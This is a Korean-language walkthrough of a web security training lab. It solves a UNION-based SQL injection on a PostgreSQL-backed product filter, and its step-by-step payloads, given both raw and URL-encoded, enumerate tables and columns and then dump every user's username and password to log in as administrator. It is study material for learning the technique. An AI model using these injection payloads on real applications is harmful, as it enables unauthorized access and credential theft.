SQL injection attack, listing the database contents on non-Oracle databases

우선 문제를 정리해 보자.
🚩
이 워게임에는 상품 카테고리 필터에 SQL Injection 취약점이 존재한다. 쿼리 실행 결과가 애플리케이션의 응답에 표시되므로, UNION 공격을 이용해 다른 테이블의 데이터를 조회할 수 있다.
애플리케이션에는 로그인 기능이 있으며, 데이터베이스에는 사용자 이름과 비밀번호를 저장하는 테이블이 존재한다. 먼저 해당 테이블의 이름과 테이블에 포함된 컬럼 이름을 알아낸 뒤, 테이블의 내용을 조회해 모든 사용자의 username과 password를 획득해야 한다.
워게임을 해결하려면 administrator 사용자로 로그인하라.
만약 사이트가 이전 문제들과 동일한 구성이라면, 필터 로직을 통해 테이블 정보를 뽑을 수 있을 것이다.
' UNION SELECT table_name, NULL FROM information_schema.tables --
UNION 을 이용한 쿼리로 사이트에 정보를 렌더링할 때는 칼럼의 개수를 맞춰야 한다. 그래서 NULL 을 포함한 쿼리를 구성했다. 자세한 정보는 이 링크를 읽어보자.
/filter?category='%20UNION%20SELECT%20table_name%2c%20NULL%20FROM%20information_schema.tables%20--%20
notion imagenotion image
PostgreSQL 서버임을 알 수 있다. 이제 저 전체 목록에서 비밀번호를 저장 할 법한 테이블을 찾아보자. ' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema NOT IN ('information_schema', 'pg_catalog')-- 쿼리를 이용해도 좋다.
notion imagenotion image
users_tfrnez테이블이 매우 수상쩍다. 저 테이블의 정보를 얻어보자.
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_tfrnez' --
/filter?category='%20UNION%20SELECT%20column_name%2c%20NULL%20FROM%20information_schema.columns%20WHERE%20table_name%20%3d%20'users_tfrnez'%20--
notion imagenotion image
이제 username_attgjq , 그리고 password_eeqcmh 를 뽑으면 된다는 사실을 알 수 있다.
' UNION SELECT username_attgjq, password_eeqcmh FROM users_tfrnez --
/filter?category='%20UNION%20SELECT%20username_attgjq%2c%20password_eeqcmh%20FROM%20users_tfrnez%20--%20
notion imagenotion image
이제 당당히 로그인을 수행하자.
notion imagenotion image
salt는 필수다.